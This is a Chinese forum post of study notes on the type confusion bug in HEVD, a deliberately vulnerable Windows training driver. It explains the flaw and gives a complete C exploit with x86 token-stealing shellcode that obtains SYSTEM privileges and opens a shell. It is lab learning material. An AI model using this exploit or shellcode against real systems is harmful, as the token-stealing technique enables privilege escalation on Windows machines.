-
-
[原创]初探内核漏洞:HEVD学习笔记——TypeConfusion
-
2022-7-19 20:15 7914
-
HEVD学习笔记——TypeConfusion
0x00 漏洞原理
函数处理时,没有对对象类型进行严格检查,导致类型混淆。
0x01 漏洞定位
反汇编TriggerTypeConfusion函数可以看到,先调用ExAllocatePoolWithTag申请了8字节
的非分页内存空间,然后调用ProbForRead验证用户缓冲区,之后就将用户缓冲区的内容复制到申请的非分页内存空间中,而未进行类型验证,然后TypeConfusionObjectInitializer中会执行 Callback()
:
Callback()是输入缓冲区的第几个字节呢?
我们查看汇编代码就知道是从第4
字节开始:
那么利用方法很简单,我们就将用户缓冲区的大小设置为8,并将第4字节开始处赋值为shellcode的地址即可。
0x02 漏洞利用
完整利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | #include<stdio.h> #include<Windows.h> / / 1. 设置符号链接名称 #define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver" / / 2. 控制码定义(与 0 环一样) #define HEVD_TYPE_CONFUSION 0x222023 VOID __declspec(naked)shellcode() { __asm { pushad; Save registers state ; Start of Token Stealing Stub xor eax, eax; Set ZERO mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS : [ 0x124 ] mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current process _EPROCESS structure mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad; Restore registers state xor eax, eax; Set NTSTATUS SUCCEESS pop ebp ret 8 } } VOID EXP_TypeConfusion() { / / 3.CreateFile 打开符号链接得到设备句柄 HANDLE hDevice = NULL; hDevice = CreateFile(DEVICE_LINK_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (hDevice = = INVALID_HANDLE_VALUE) { printf( "[-] Error - Unable to obtain a handle to the driver, error code %d\n" , GetLastError()); exit( 1 ); } / / 4.DeviceIoControl 给 0 环发请求并接收返回结果 DWORD dwRet = 0 ; char exp_TypeConfusion[ 8 ] = { 0 }; memset(exp_TypeConfusion, 'A' , sizeof(exp_TypeConfusion)); PVOID EopPayload = &shellcode; memcpy(&exp_TypeConfusion[ 4 ], &EopPayload, 4 ); DeviceIoControl(hDevice, HEVD_TYPE_CONFUSION, exp_TypeConfusion, \ 0xffffffff , NULL, 0 , &dwRet, NULL); system( "cmd.exe" ); } int main() { EXP_TypeConfusion(); return 0 ; } |
运行客户端,提权成功:
0x03 漏洞反思
以上过程一直没有看漏洞源码,我们回过头来看看HEVD的TypeConfusion.c。用户输入被看做一个结构_KERNEL_TYPE_CONFUSION_OBJECT
,结构中的第二个成员是一个联合体,安全版和不安全版的区别在于有没有对第二个成员进行设置。
1 2 3 4 5 6 7 8 9 | typedef struct _KERNEL_TYPE_CONFUSION_OBJECT { ULONG_PTR ObjectID; union { ULONG_PTR ObjectType; FunctionPointer Callback; }; } KERNEL_TYPE_CONFUSION_OBJECT, * PKERNEL_TYPE_CONFUSION_OBJECT; |
赞赏
他的文章
看原图